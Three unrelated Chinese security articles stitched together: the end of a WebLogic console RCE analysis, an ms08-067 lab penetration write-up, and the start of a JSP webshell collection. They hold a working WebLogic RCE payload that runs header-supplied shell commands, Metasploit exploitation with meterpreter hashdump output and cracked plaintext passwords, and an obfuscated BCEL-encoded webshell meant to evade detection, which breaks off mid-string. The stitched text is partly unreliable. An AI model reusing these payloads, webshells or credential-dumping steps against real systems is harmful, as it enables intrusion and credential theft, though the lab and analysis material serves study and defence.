**`postback`变量在后续执行`UIContext`生命周期时会对流程产生影响**。这里先记一下。
完成`UIContext`的初始化过程后，接下来就是解析`.portal`文件，将解析结果填充到`UIContext`中。这一部分的流程在`getTree()`方法中：
这里有一个需要注意的点，这里会对请求的路径进行二次URLDecode，这也就是为什么构造的poc是需要二次URL编码的原因。
跟进`processStream()`方法，具体的解析逻辑就在这里：
可以看到经过二次URLDecode后的请求路径在此造成了 **目录穿越** 的效果。
`com.bea.netuix.servlets.manager.SingleFileProcessor#getMergedControlFromFile`中首先会初始化SAX解析器，然后根据传入的文件路径获取到对应的`.portal`文件，并利用SAX解析器解析该`.portal`文件：
`getMergedControlFromFile()`方法最终会调用`getSourceFromDisk()`方法根据传入的路径获取`consoleapp/webapp`目录下相应的文件即：
* console.portal
* consolejndi.portal
在利用SAX解析器解析完该`portal`文件后，生成语法树，也就是`getTree()`返回的`ControlTreeRoot`对象，并将语法树置入`UIContext`中。
至此就完成了`UIContext`的初始化流程。
##### 2.2.2 完成模板渲染的生命周期
在完成了`UIContext`初始化流程之后，便会调用`runLifecycle()`方法运行生命周期，开始根据请求参数完成模板渲染。
跟进`runLifecycle()`：
在`com.bea.netuix.nf.Lifecycle#run`中，需要注意这个条件判断，这里会影响到后面的流程调用。
根据2.2.1中的分析我们知道当GET请求存在`_nfpb`参数时，会根据参数的值设置`postback`的值，`outbound`值默认为`false`。
而`postback`值只会影响是否会执行`runInbound()`流程。在具体跟踪了`runInbound()`流程后，可以发现其处理逻辑是相同的：
而关键点就在其`VisitorType`是不同的，这会在`processLifecycles()`流程中影响具体的节点遍历顺序：
在`com.bea.netuix.nf.Lifecycle`中，我们可以看到`inbound`与`outbound`的区别：
各`VisitorType`具体配置为：
所以由`postback`会衍生出两种不同的执行流。
##### 2.2.3 Netuix生命周期及控件间的关系
在具体跟进两种执行流前，首先介绍一下`Netuix`的解析流程，在其[官方介绍页面](https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html)上有对生命周期方法执行顺序及netuix控件解析流程的详细描述，这里将其内容简要总结一下。
`Netuix`控件树的生命周期其实就是按顺序所执行的一组方法，这组方法的执行顺序如下：
init()
loadState()
handlePostbackData()
raiseChangeEvents()
preRender()
saveState()
render()
dispose()
其中的方法与上面所看到的`inbound`与`outbound`相同。这些方法在节点间是以深度优先的方式执行，即按照顺序会执行所有控件的`init()`，之后才会重新遍历执行`loadState()`方法。
在说完了每个控件的生命周期后，再来说一下控件间的关系：
根据这张表我们来对应看一下`consolejndi.portal`：
红框所标注的区域是完美符合上表所描述的关系的。向上寻找`Portlet`，看加载了哪些外部控件：
跟进该文件：
这里调用了`strutsContent`控件，同时标注了具体的`action`为`MessagesAction`。可以通过该`action`在`struts-config.xml`中找到其所对应的类：
##### 2.2.4 总结
通过上面的分析，可以看到`Netuix`将执行流从模板渲染转换到其各个组件的渲染之中。所以最终触发代码执行的只和组件的生命周期有关，即只和节点有关。
在经过分析后，我列举三个最通用的组件：
* `strutsConent`
* `Page`
* `Portlet`
由于无论`postback`为何值，最终都会执行`outbound`流程，所以接下来对于组件生命周期的分析，我都以`outbound`流程来说明。
#### 2.3 条条大路通罗马——HandleFactory完成代码执行
根据上面的分析，`outbound`的生命周期为：
preRender()
saveState()
render()
所以首先执行的方法是`preRender`，跟进看一下`com.bea.netuix.nf.ControlTreeWalker#walk`：
`ControlVisitor visit =
root.getVisitorForLifecycle(vt);`这里将获取`ControlLifecycle.preRenderVisitor`以深度优先的方式遍历所有节点，并调用`visit()`方法。跟进看一下`com.bea.netuix.nf.ControlVisitor#visit`：
就如上面所说，关键逻辑还是调用传入控件的`preRender()`方法。接下来就会按照2.2.3中的所介绍的控件间关系进行深度遍历，在遍历到不同组件时会利用不同的方式触发代码执行流程。
##### 2.3.1 strutsContent
以`consolejndi.portal`为例，当节点为`portletInstance`时，会触发外部组件调用，及会跟进该文件，解析`Content`节点：
此处处理的节点为`strutsContent`，即`control`为`strutsContent`。跟进`com.bea.netuix.servlets.controls.content.StrutsContent#preRender`方法：
没有相关的方法，跟进其父类`com.bea.netuix.servlets.controls.content.NetuiContent#preRender`：
`this.getScopedContentStub()`调用栈如下：
com.bea.netuix.servlets.controls.content.StrutsContent#getScopedContentStub ->
com.bea.netuix.servlets.controls.content.StrutsContent.StrutsContentUrlRewriter初始化 ->
com.bea.portlet.adapter.scopedcontent.AdapterFactory#getInstance(com.bea.struts.adapter.util.rewriter.StrutsURLRewriter)
最终通过适配工厂返回一个`StrutsStubImpl`：
所以跟进`com.bea.portlet.adapter.scopedcontent.StrutsStubImpl#render`：
在`renderInternal()`方法中，完成内部渲染的工作，包括：
* 初始化`Action`及其servlet，并设置解析器，最终调用`executeAction`执行
* 初始化并设置请求监听器，完成请求接收
跟进`executeAction()`方法：
这里会调用`PageFlowUtils#strutsLookup`方法，该方法最终将会触发`负责处理针对`Action`请求的servlet的doGet方法`，调用链如下：
com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#strutsLookup
com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#getInstance
com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#instantiateStrutsDelegate
com.bea.portlet.adapter.scopedcontent.framework.internal.PageFlowUtilsBeehiveDelegate#strutsLookupInternal
org.apache.beehive.netui.pageflow.PageFlowUtils#strutsLookup(javax.servlet.ServletContext, javax.servlet.ServletRequest, javax.servlet.http.HttpServletResponse, java.lang.String, java.lang.String[])
org.apache.beehive.netui.pageflow.PageFlowUtils#strutsLookup(javax.servlet.ServletContext, javax.servlet.ServletRequest, javax.servlet.http.HttpServletResponse, java.lang.String, java.lang.String[], boolean)
这里有两个点需要注意，第一个点是获取`ActionServlet`的过程，这一部分其实并不需要去跟踪代码，可以通过直接看`web.xml`找到：
关于`AsyncInitServlet`的初始化流程在2.1.1中有详细的跟踪，这里就不赘述了。这里可以看出真正的处理逻辑在`com.bea.console.internal.ConsoleActionServlet`中，直接跟进看`com.bea.console.internal.ConsoleActionServlet#doGet`:
一路向下跟进，调用栈如下：
org.apache.struts.action.ActionServlet#process ->
com.bea.console.internal.ConsoleActionServlet#process ->
org.apache.beehive.netui.pageflow.PageFlowActionServlet#process ->
org.apache.beehive.netui.pageflow.AutoRegisterActionServlet#process ->
org.apache.beehive.netui.pageflow.PageFlowRequestProcessor#process ->
org.apache.beehive.netui.pageflow.PageFlowRequestProcessor#processInternal ->
org.apache.struts.action.RequestProcessor#process ->
com.bea.console.internal.ConsolePageFlowRequestProcessor#processActionPerform ->
com.bea.console.utils.HandleUtils#getHandleContextFromRequest ->
com.bea.console.utils.HandleUtils#handleFromQueryString
重点看一下`com.bea.console.utils.HandleUtils#handleFromQueryString`：
首先会将请求的参数进行解析，并映射到Map中，之后遍历所有的参数，当参数以`handle`结尾，则将其转换为`Handle`类型的对象。所以跟踪流程到`com.bea.console.handles.HandleConverter#convert`：
这里会将请求中以`handle`结尾的参数值作为`local`，直接传入`HandleFactory.getHandle()`方法中，在该方法中将传入的参数值进行处理，直接完成反射实例化操作：
##### 2.3.2 page
当解析`Page`组件时，`control.preRender()`实际将会调用`com.bea.netuix.servlets.controls.page.Page#preRender`：
接下来就是一路向上，调用父类的`preRender`方法，调用栈如下：
com.bea.netuix.servlets.controls.page.Page#preRender ->
com.bea.netuix.servlets.controls.window.Window#preRender ->
com.bea.netuix.servlets.controls.AdministeredBackableControl#preRender ->
com.bea.netuix.servlets.controls.Backable.Impl#preRender
在`com.bea.netuix.servlets.controls.Backable.Impl#preRender`中将会获取`jspbacking`，并调用其`preRender`方法：
以`consolejndi.portal`为例，其中的一个`page`组件描述如下：
此处会根据`book`组件中所定义的`title`获取其`backingFile`的具体引用，在这里为`com.bea.console.utils.JndiViewerBackingFile`：
接下来的调用栈为：
com.bea.console.utils.GeneralBackingFile#preRender ->
com.bea.console.utils.GeneralBackingFile#localizeTitle(com.bea.netuix.servlets.controls.window.backing.WindowBackingContext, javax.servlet.http.HttpServletRequest) ->
com.bea.console.utils.GeneralBackingFile#getDisplayName ->
com.bea.console.utils.HandleUtils#getHandleContextFromRequest
调用至此已经和2.3.1中提到的调用路径相同了，在此不再赘述。
##### 2.3.3 portlet
`portlet`组件执行流与`page`组件基本完全相同，唯一区别点在于`backingFile`不同。以`consolejndi.portal`为例：
引用外部组件，跟进`jnditree.portlet`：
跟进看一下：
调用父类`com.bea.console.utils.PortletBackingFile#preRender`，同样，都会调用父类的`localizeTitle()`方法：
这里也会调用`com.bea.console.utils.GeneralBackingFile#localizeTitle`，之后的流程与2.3.2中的流程完全相同。
##### 2.3.4 总结
根据以上分析，我们可以看到除了`strutsContent`外，其他几种组件的应用方式都比较类似，关键点为两个：
* 组件的`preRender`流程中会调用到`Backable#preRender`方法
* `backingFile`为`GeneralBackingFile`子类，同时其`preRender`方法会调用父类`localizeTitle`方法
想要寻找其他的组件可以看一下继承树：
红框所标注的即为2.3.2与2.3.3中所分析到的调用过程。
### 0x03 漏洞利用
经过0x02的分析，我们不难看出该漏洞和其他传统的越权漏洞是有很大区别的：
1. 所谓的认证绕过是通过请求原本无需认证的资源路径
2. 在1的基础上利用`../`造成目录穿越，使`Netuix`在初始化语法树时读取对应的后台模板文件
3. 在`Netuix`生命周期中通过组件对应的处理流程触发`Handle`流程
4. 组件处理流程中会将请求中以`handle`结尾的参数的值作为参数传入`HandleFactory#getHandle`方法中，完成反射调用
所以利用方式也显而易见，这里利用@77ca1k1k1的poc做展示：
poc：
com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
### 0x04 Reference
<https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html>
[@77ca1k1k1关于回显的研究](https://mp.weixin.qq.com/s/u8cZEcku-uIbGAVAcos5Tw)
* * * | 社区文章 |
# 0x00 前言
渗透是个持续的过程，不断地搜集信息，整理信息，以及利用信息，最终的目标就是拿到系统乃至整个网络的最高权限。在笔者看来，渗透测试与安全研究的最大不同就是前者擅长利用后者的研究成果并运用到实战之中。今天笔者将继续来分析渗透测试学习笔记系列的第二个案例。
# 0x01 案例分析
**实验环境：**
* * *
* 目标靶机：10.11.1.0/24
* 攻击机：Kali Linux (10.11.0.38)
**渗透过程：**
首先，一如既往的利用nmap来进行端口探测，比如我简单地探测了IP：10.11.1.227 如下：
# nmap -sV -O -Pn 10.11.1.227
Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-11 07:08 CST
Stats: 0:04:03 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 0.00% done
Nmap scan report for 10.11.1.227
Host is up (0.28s latency).
Not shown: 992 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
1025/tcp open msrpc Microsoft Windows RPC
1026/tcp open msrpc Microsoft Windows RPC
3372/tcp open msdtc Microsoft Distributed Transaction Coordinator
5800/tcp open vnc-http RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5900)
5900/tcp open vnc VNC (protocol 3.8)
MAC Address: 00:50:56:89:71:CB (VMware)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.50%E=4%D=8/11%OT=135%CT=1%CU=42087%PV=Y%DS=1%DC=D%G=Y%M=005056%
OS:TM=598CE880%P=i686-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=108%TI=I%TS=0)SEQ(S
OS:P=101%GCD=1%ISR=106%TI=I%II=I%SS=S%TS=0)OPS(O1=M529NW0NNT00NNS%O2=M529NW
OS:0NNT00NNS%O3=M529NW0NNT00%O4=M529NW0NNT00NNS%O5=M529NW0NNT00NNS%O6=M529N
OS:NT00NNS)WIN(W1=FAF0%W2=FAF0%W3=FAF0%W4=FAF0%W5=FAF0%W6=FAF0)ECN(R=Y%DF=Y
OS:%T=80%W=FAF0%O=M529NW0NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=
OS:)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=N%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R
OS:=N)T7(R=N)U1(R=Y%DF=N%T=80%IPL=38%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G
OS:)IE(R=Y%DFI=S%T=80%CD=Z)
Network Distance: 1 hop
Service Info: OSs: Windows, Windows 2000; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_2000
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 245.29 seconds
分析上面的扫描结果后，我们得到如下信息：
1. 目标主机开启了139，445端口且banner显示为Microsoft Windows 2000 microsoft-ds
2. 目标主机开启了Windows RPC服务，端口为1025和1026
3. 目标主机开启了RealVNC服务，端口为5800和5900
4. 目标主机很可能是Windows 2000服务器
整理完了这些信息之后，接下来我们需要思考突破点了，一个常见的思路是针对开启的服务寻找可能的利用方法。
1. 对于139和445端口，我们首先需要考虑的就是smb漏洞，比如：ms17-010，ms08-067等等
2. 对于Windows RPC和VNC服务，我们不妨看看有没有现成的exploit可以使用
3. 对于Windows 2000服务器，足够老的服务器早已不再有补丁支持，是否可以被利用
诚如我之前所说，渗透测试要善于利用已知漏洞，可以利用搜索引擎检索，也可以利用一些漏洞利用数据库去查询（如：exploit-db,
securityfocus等），还可以直接借助已有的渗透测试工具（如：nmap的NSE脚本，Metasploit的exploit模块，自己平时搜集的漏洞利用，等等）。
继续回到我们的目标主机（10.11.1.227），由于存在smb服务且目标主机很可能为Windows
2000服务器，一个简单的猜想便是是否存在ms08-067漏洞。为了验证我们的猜想，先用nmap扫描一下：
# nmap --script=/usr/share/nmap/scripts/smb-vuln-ms08-067.nse -sT -Pn 10.11.1.227
Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-11 08:59 CST
Nmap scan report for 10.11.1.227
Host is up (0.26s latency).
Not shown: 987 closed ports
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1029/tcp open ms-lsa
3372/tcp open msdtc
5800/tcp open vnc-http
5900/tcp open vnc
Host script results:
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
从扫描结果可知，目标主机似乎是存在ms08-067漏洞的。既然如此，我们就来测试一下。考虑到msf已经有ms08-067的利用模块了，因此我们可以直接来尝试利用一下。
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 10.11.1.227
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 10.11.0.38:4444
[*] 10.11.1.227:445 - Automatically detecting the target...
[*] 10.11.1.227:445 - Fingerprint: Windows 2000 - Service Pack 0 - 4 - lang:English
[*] 10.11.1.227:445 - Selected Target: Windows 2000 Universal
[*] 10.11.1.227:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957487 bytes) to 10.11.1.227
[*] Meterpreter session 2 opened (10.11.0.38:4444 -> 10.11.1.227:1256) at 2017-08-11 08:39:12 +0800
meterpreter >
果然，目标主机存在ms08-067漏洞，并且我们成功地获得了一个meterpreter会话。一旦有了meterpreter会话，我们需要考虑以下几个问题：
* 当前运行的账户权限是不是SYSTEM且是否需要提权
* 目标机器的系统信息是什么
* 目标机器是否存在反病毒程序影响我们的后渗透操作
* 目标机器上有哪些用户和组且是否存在域用户（如：域管理员账户）
* 目标机器上是否可以dump hash（可用来破解密码或者Pass The Hash攻击）
* 等等
如下一些常见的meterpreter和shell命令可以帮我们轻松地确认以上的问题：
getuid – 获取当前运行用户
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
getsystem – 利用内置的payload帮助提权
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
sysinfo – 获取操作系统信息
meterpreter > sysinfo
Computer : JD
OS : Windows 2000 (Build 2195).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x86/windows
ps – 获取当前系统上正在运行的所有进程
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ---- 0 0 [System Process] x86
8 0 System x86 0 NT AUTHORITY\SYSTEM
172 8 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
196 172 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINNT\system32\csrss.exe
216 172 WINLOGON.EXE x86 0 NT AUTHORITY\SYSTEM \??\C:\WINNT\system32\winlogon.exe
244 216 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINNT\system32\services.exe
256 216 LSASS.EXE x86 0 NT AUTHORITY\SYSTEM C:\WINNT\system32\lsass.exe
452 244 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINNT\system32\svchost.exe
480 244 SPOOLSV.EXE x86 0 NT AUTHORITY\SYSTEM C:\WINNT\system32\spoolsv.exe
512 244 msdtc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINNT\System32\msdtc.exe
616 244 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINNT\System32\svchost.exe
644 244 LLSSRV.EXE x86 0 NT AUTHORITY\SYSTEM C:\WINNT\System32\llssrv.exe
676 244 sqlservr.exe x86 0 NT AUTHORITY\SYSTEM C:\PROGRA~1\MICROS~3\MSSQL\binn\sqlservr.exe
748 244 regsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINNT\system32\regsvc.exe
772 244 sqlagent.exe x86 0 NT AUTHORITY\SYSTEM C:\PROGRA~1\MICROS~3\MSSQL\binn\sqlagent.exe
784 244 mstask.exe x86 0 NT AUTHORITY\SYSTEM C:\WINNT\system32\MSTask.exe
812 244 snmp.exe x86 0 NT AUTHORITY\SYSTEM C:\WINNT\System32\snmp.exe
860 244 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
936 244 winmgmt.exe x86 0 NT AUTHORITY\SYSTEM C:\WINNT\System32\WBEM\WinMgmt.exe
948 244 winvnc4.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\RealVNC\VNC4\WinVNC4.exe
960 244 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINNT\system32\svchost.exe
980 244 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINNT\System32\inetsrv\inetinfo.exe
992 244 mssearch.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Common Files\System\MSSearch\Bin\mssearch.exe
1092 244 dfssvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINNT\system32\Dfssvc.exe
1580 244 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINNT\System32\svchost.exe
hashdump – 获取系统上所有用户的LM Hash或者NTLM Hash
meterpreter > hashdump
admin:1007:a46139feaaf2b9f117306d272a9441bb:c5e0002fde3f5eb2cf5730ffee58ebcc:::
Administrator:500:7bfd3ee62cbb0eba886450c5d6c50f12:f3acbe7ec27aadbe8deeaa0c651a64af:::
backup:1006:16ac416c2658e00daad3b435b51404ee:938df8b296dd15d0dce8eaa37be593e0:::
david:1009:43af16fff22f1628aad3b435b51404ee:1fbff38cae51e9918da1fec572f03e11:::
gary:1013:998d9dc042886317c72befe227197ae1:ba359fa9d25791c2180e424bb7bb0753:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
homer:1017:ef91a6d3cf901b8baad3b435b51404ee:b184d292a82b6ad35c3cfca81f1f59bc:::
IUSR_SRV2:1020:f7d96ebcbe5b6be3103ccb00190f6271:09ff503707453d56bb69f40bef542da0:::
IWAM_SRV2:1019:96fe1fc02d73a84c463db170b09126f1:be6ec26d0d71a533e14b65ce755d7bce:::
john:1010:e52cac67419a9a2238f10713b629b565:5835048ce94ad0564e29a924a03510ef:::
lee:1015:b096847ead9b7476aad3b435b51404ee:208adb08381adab3032eedbd35399642:::
lisa:1011:a179639dcaf4e1c4aad3b435b51404ee:8acf28fdc0168e003fb3e05bcb463d1b:::
mark:1012:6c3d4c343f999422aad3b435b51404ee:bcd477bfdb45435a34c6a38403ca4364:::
ned:1016:836eda0fbc609e6393e28745b8bf4ba6:4f16328129408ed105dec3a938c266eb:::
nick:1014:59b8b93a9a6477e4aad3b435b51404ee:ee28ad35a22c752c1a75be3f9a7e82c9:::
simon:1008:598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf:::
sqlusr:1005:6307ab24156c541aaad3b435b51404ee:6a370590bd44ac8e65d045254a170ab7:::
todd:1018:9e00b755e79c8cf95533b366e9511e4b:4150133921fe34dd2e777b1ca0361410:::
TsInternetUser:1000:e52cac67419a9a22f96f275e1115b16f:e22e04519aa757d12f1219c4f31252f4:::
shell – 开启一个cmd shell以便获取更过系统信息或者执行payload
meterpreter > shell
Process 760 created.
Channel 1 created.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>net users
net users
User accounts for \\
------------------------------------------------------------------------------- admin Administrator backup
david gary Guest
homer IUSR_SRV2 IWAM_SRV2
john lee lisa
mark ned nick
simon sqlusr todd
TsInternetUser
The command completed with one or more errors.
C:\WINNT\system32>net view /domain
net view /domain
Domain
------------------------------------------------------------------------------- MYGROUP
THINC
WORKGROUP
The command completed successfully.
C:\WINNT\system32>ipconfig -all
ipconfig -all
Windows 2000 IP Configuration
Host Name . . . . . . . . . . . . : jd
Primary DNS Suffix . . . . . . . : acme.local
Node Type . . . . . . . . . . . . : Mixed
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : acme.local
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
Physical Address. . . . . . . . . : 00-50-56-89-5E-EC
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 10.11.1.227
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.1.220
DNS Servers . . . . . . . . . . . : 10.11.1.220
10.11.1.221
C:\WINNT\system32>net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
------------------------------------------------------------------------------- Administrator
backup
The command completed successfully.
C:\WINNT\system32>net view
net view
Server Name Remark
------------------------------------------------------------------------------- \\BETHANY
\\BOB2
\\CORY
\\GAMMA
\\MAIL thincmail
\\MIKE mike
\\SHERLOCK
The command completed successfully.
后渗透过程中的一个重要步骤就是Dump Hash，有了密码hash我们就可以来尝试破解密码以及Pass The
Hash攻击了。通过上面的一系列信息获取，我们已经知道了目标系统是Windows 2000并了解到这些Hash都是易破解的LM Hash,
因此我们可以尝试去破解这些Hash来获取明文的密码，破解结果如下：
user: backup
Hash: 16ac416c2658e00daad3b435b51404ee:938df8b296dd15d0dce8eaa37be593e0
Password: backup
user: Administrator
Hash: 7bfd3ee62cbb0eba886450c5d6c50f12:f3acbe7ec27aadbe8deeaa0c651a64af
Password: 7A6417Yrjh
user: admin
Hash: a46139feaaf2b9f117306d272a9441bb:c5e0002fde3f5eb2cf5730ffee58ebcc
Password: CHANGEME
User: david
Hash: 43af16fff22f1628aad3b435b51404ee:1fbff38cae51e9918da1fec572f03e11:::
Password: 012345
User: gary
Hash: 998d9dc042886317c72befe227197ae1:ba359fa9d25791c2180e424bb7bb0753:::
Password: REDGREENBLUE
User: john
Hash: e52cac67419a9a2238f10713b629b565:5835048ce94ad0564e29a924a03510ef:::
Password: password1
... ...
**注** ：<http://www.objectif-securite.ch/en/ophcrack.php> 一个在线的LMHash破解网站
至此，我们已经完全控制了目标机器并获取到了一些用户的明文密码以便为后期的持续渗透做准备。
# 0x02 小结
总结一下本案例中的渗透测试方法和思路：
1. nmap扫描目标主机常见端口
2. 分析和整理可能存在漏洞的服务
3. 搜索和验证存在漏洞的服务
4. 利用服务漏洞获取系统shell
5. 判断是否需要提权操作
6. 获取密码hash并破解用户明文密码
7. 整理明文密码表为持续渗透做准备 | 社区文章 |
最近，我的朋友“老嗨”，他参加了一个某云举办的号称可能史上最强的使用了AI技术的Webshell检测系统挑战赛...因为我没什么时间去搞这个，所以，我把我珍藏多年，姿势比较多的JSP
Webshell发给了老嗨，老嗨跟我说，全部bypass了，但最后的结果非常惨烈，有被抢了的，有的因为没适配windows导致降级的，也有因为裁判机使用了openjdk亦或者他根本不会java瞎配的classpath导致不能运行的，惨惨。
JSP
Webshell本来局限就比较大，来来去去都是那些个函数方法，姿势也不算多，虽然引擎没更新，但是毕竟很多姿势都被抢了，所以后面的挑战会越来越难，不像PHP，被phper们简直刷爆，xm$l。
今天这篇文章主要是分享一下各种JSP执行命令的姿势，和描述一些存在静态检测机制的系统，如何以各种姿势去绕过，但其实认真看会发现，多数都runtime.exec、反射、字节码、反序列化、表达式执行等姿势，以及如何去回显，代码可能是随意写的，但是重点还是姿势（不同的核心class
method），分享给大家。
github地址：<https://github.com/threedr3am/JSP-Webshells>
### 一、使用BCEL字节码的JSP Webshell
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<html>
<body>
<h2>BCEL字节码的JSP Webshell</h2>
<%
String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$a6$40$93r$d5$e2$8d$dap$ebh$eb$a5$96$8a6$I$V$N$X$81$82$Uo$93$c9$n$M$9d$cc$c4$c9$a4$82w$fd$N$fe$H_$adKC$97$b8$7c$f4$c1G$7f$86$bf$c1e$fd$ce$q$40b$c2$f2a$ce$99$b3$f7$9e$bd$bf$fd$ed$bd$cf$fc$f1$cf$_$bf$Bx$B$df$ea$Y$c6$8c$86$d7t$b4$c9$fdu$N$b7t$a41$x$977t$cca$5eG$3bn$ebP$f1$a6$5c$W$a4$e1$5bq$bc$z$f7L$tz$b1$a8aI$c72V$e2xG$c7$w$d6t$ac$e3$8e$5c6tl$e2$ddNl$e1n$i$db$3a$de$c3$fb$g$3eP$Q$LDIA$o$b3g$dd$b7L$d7$f2$f2$e6Z$Y8$5e$7eZA$c7M$c7s$c2$Z$F$7d$a9f$f5$d8$86$Cu$d6$cf$J$F$3d$Z$c7$TK$e5BV$E$ebV$d6$V$d2$9do$5b$ee$86$V8$f2$5c$T$aa$e1$ae$c3P$X2$eb$bb$81$Q$b9$e0$9aU$d8$U$d9$b5$5d$e1$ba$M$W$b3$L9$F$e7J$91$f7t$d9qs$oP0$d4$U$b8$a6$e2$X$dd$d9$f2$ce$8e$IDnUX$91$f1$60$d5$d8$f1$cdt$83$86$b6$aaK$88t$bf$WZ$f6$bdE$ab$YA$oW$g$3e$q$df$a4Z$81$3e$b7o$8bb$e8$f8$5eI$c3G$K$e2$a1_$8dH$c8$a9$b1V$fc$a8$F$cb$f1$U$f4$a7$b6$cf$a0$c7$K$f2L8$d9B$ad$a0$cb$f1$8a$e5$90Ga$V$c8$f0$J$f4$85S1$ad$da$b3$H$a1$acO$dbv$9a$fe$ec$88n$7d$cd$_$H$b6$98w$q$a9$D$cdd$5e$91$ae$M$5c$84E$f5$Z$f4$Ruk$aeHy$L$qU$9d$86$ac$B$h9$D$C$3b$g$f2$Gv$e1$c8$40$7br$b9g$c0$c5U$D$F$90$TE7$f0$bc$3c$3d$86$c7$d9$O$cd$m5$f8$G$8a$f8$98Uk$91$81$edZ$rV$n0PB$a8$a1l$e0$3e$3e1$b0$8f$D$N$9f$g$f8$M$9fk$f8$c2$c0$97$f8$8au$g$jM$cf$ceeFG5$7cm$e0$h$8c$u$e8$3d$cdz9$bb$t$ec$b0At$5c$d5$e4I$a2$cb$t$a5g$l$a6d$e9$ce$9f$9a$af$96$bd$d0$vH$de$f3$o$3c9$f45$b4DM$y$7bB$ec$L$5b$c1$e5V$TS$tZ$J$7c$5b$94J$d3$N$91jBv6$p$z$d4$b7$c7$c0q$b4$a6$G$ZL$b5T$c8$i$92$a7$aa$da$iHi$9c$f